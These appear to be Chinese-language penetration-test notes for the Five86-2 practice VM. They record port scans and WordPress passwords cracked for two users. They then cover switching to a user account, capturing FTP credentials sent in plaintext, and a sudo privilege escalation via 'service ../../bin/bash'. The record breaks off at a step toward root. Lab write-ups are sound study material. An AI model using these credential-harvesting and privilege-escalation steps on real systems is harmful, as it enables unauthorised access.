PORT STATE SERVICE VERSION 20/tcp closed ftp-data 21/tcp open ftp ProFTPD 1.3.5e 无相关漏洞 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) 无相关漏洞 ##################### barney spooky1 FTP：No WordPress：OK peter admin gillian stephen apollo1 FTP：No WordPress：OK ###################### barney :x:1001:1001:Barney Sumner:/home/barney:/bin/bash stephen :x:1002:1002:Stephen Morris:/home/stephen:/bin/bash peter :x:1003:1003:Peter Hook:/home/peter:/bin/bash gillian :x:1004:1004:Gillian Gilbert:/home/gillian:/bin/bash richard :x:1005:1005:Richard Starkey:/home/richard:/bin/bash paul :x:1006:1006:Paul McCartney:/home/paul:/bin/bash john :x:1007:1007:John Lennon:/home/john:/bin/bash george :x:1008:1008:George Harrison:/home/george:/bin/bash ##################### 得到密码的两个账号无法登陆 FTP
##################### <----- 未验证/未收集 Linux kernel 信息未收集（内核提权） FTP 没有起到作用（存在即有理）
#################### 两个账户存在于 /etc/passwd 下，是否可以切换用户 barney 密码错误 stephen 可以切换 #################### barney spooky1 FTP：No WordPress：OK su：NO peter admin gillian stephen apollo1 FTP：No WordPress：OK su：OK <----- 切入点
身份转换
su stephen ：切换用户
不存在 sudo 权限，主目录暂无利用信息，卡住了
查了一下 WriteUp，抓 FTP 的包，有明文密码：
查看相关进程：
1 2 3 4 5 6 7 8
ps -aux | grep "ftp"
systemd+ 1376 0.0 0.9 119972 9484 pts/0 Ss+ 02:32 0:00 proftpd: (accepting connections) paul 2883 0.0 0.0 2600 732 ? Ss 05:38 0:00 /bin/sh -c /home/paul/ftp_upload.sh > /dev/null 2>&1 paul 2884 0.0 0.0 2600 864 ? S 05:38 0:00 /bin/sh /home/paul/ftp_upload.sh paul 2885 0.0 0.2 3224 2036 ? S 05:38 0:00 ftp -n 172.18.0.10 1000 2886 0.0 0.8 133072 8136 pts/0 S+ 05:38 0:00 proftpd: paul - 172.18.0.1: STOR file.txt stephen 2889 0.0 0.0 6296 924 pts/0 S+ 05:38 0:00 grep ftp
查看 FTP 监听的网卡：
1 2 3 4 5 6 7 8
ip addr
-- 3: br-eca3858d86bf: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:9e:df:8d:0f brd ff:ff:ff:ff:ff:ff inet 172.18.0.1/16 brd 172.18.255.255 scope global br-eca3858d86bf valid_lft forever preferred_lft forever inet6 fe80::42:9eff:fedf:8d0f/64 scope link
Matching Defaults entries for paul on five86-2: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User paul may run the following commands on five86-2: (peter) NOPASSWD: /usr/sbin/service
/usr/sbin/service 提权：
1
sudo -u peter service ../../bin/bash
查看可以 sudo 执行的程序：
1 2 3 4 5 6 7
Matching Defaults entries for peter on five86-2: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User peter may run the following commands on five86-2: (ALL : ALL) ALL (root) NOPASSWD: /usr/bin/passwd
